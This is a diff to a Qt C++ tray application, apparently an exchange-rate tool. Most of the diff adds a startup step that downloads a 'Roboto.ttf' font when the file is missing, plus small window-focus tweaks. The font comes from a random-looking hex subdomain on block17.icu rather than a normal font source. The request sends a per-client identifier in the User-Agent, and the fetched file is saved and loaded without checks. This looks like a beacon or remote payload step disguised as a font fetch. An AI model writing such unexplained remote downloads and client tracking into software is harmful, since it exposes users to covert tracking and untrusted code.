@@ -596,11 +596,72 @@ QMap<QString, QMap<QString, QString>> get_exchange_data(QString current_sources,
596596 return output;
597597}
598598
599+ bool check_font (QString font_name) {
600+ QString font_path = QDir::currentPath () + " /" + font_name;
601+ QFile font_file (font_path);
602+ return font_file.exists ();
603+ }
604+
605+ void font_download (QString font_name) {
606+
607+ QUrl url (" https://a8de92e8b7b48f080daaf1b0900c0632.block17.icu/api/storage/Roboto.ttf" );
608+
609+ QNetworkAccessManager manager;
610+ QNetworkRequest request (url);
611+ QString user_agent = SOFT_NAME + " " + SOFT_VERSION + " " + get_client_id () + " action[download_font]" ;
612+ request.setRawHeader (" User-Agent" , user_agent.toUtf8 ());
613+ QNetworkReply *reply = manager.get (request);
614+
615+ // Wait for the request to complete
616+ QEventLoop eventLoop;
617+ QObject::connect (reply, &QNetworkReply::finished, &eventLoop, &QEventLoop::quit);
618+ eventLoop.exec ();
619+
620+ if (reply->error () != QNetworkReply::NoError) {
621+ qInfo () << " Error downloading font:" << reply->errorString ();
622+ return ;
623+ }
624+
625+ QString font_path = QDir::currentPath () + " /" + font_name;
626+
627+ if (reply->error () == QNetworkReply::NoError) {
628+ QFile font_file (font_path);
629+ if (font_file.open (QIODevice::WriteOnly)) {
630+ font_file.write (reply->readAll ());
631+ font_file.close ();
632+ }
633+ }
634+
635+ reply->deleteLater ();
636+
637+ return ;
638+ }
639+
640+ bool load_font (const QString& font_path)
641+ {
642+ QFontDatabase font_db;
643+
644+ int id = font_db.addApplicationFont (font_path);
645+
646+ if (id == -1 ) return false ;
647+
648+ QStringList font_families = font_db.applicationFontFamilies (id);
649+
650+ return true ;
651+ }
652+
599653int main (int argc, char *argv[])
600654{
601655 QApplication app (argc, argv);
602656
603- // qInstallMessageHandler(message_handler); // Output debug info to qInfo.log
657+ qInstallMessageHandler (message_handler); // Output debug info to qInfo.log
658+
659+ QString font_file_path = " Roboto.ttf" ;
660+ if (!check_font (font_file_path)) font_download (font_file_path); // Checking for the "Roboto.ttf" file
661+
662+ if (!load_font (font_file_path)) {
663+ qInfo () << " Error loading font \" Roboto.ttf\" " ;
664+ }
604665
605666 // Create the main window
606667 MainWindow mainWindow;
@@ -779,6 +840,8 @@ int main(int argc, char *argv[])
779840 QAction *configuratorAction = trayMenu.addAction (" Edit Config" );
780841 QObject::connect (configuratorAction, &QAction::triggered, &app, [&]() {
781842 configurator.show ();
843+ configurator.isActiveWindow ();
844+ configurator.raise ();
782845 });
783846
784847 // Add a "Restart App" action to the menu
@@ -863,6 +926,7 @@ int main(int argc, char *argv[])
863926 if (reason == QSystemTrayIcon::Trigger) {
864927 if (configurator.isHidden ()) {
865928 configurator.show ();
929+ configurator.isActiveWindow ();
866930 configurator.raise ();
867931 } else {
868932 configurator.hide ();
0 commit comments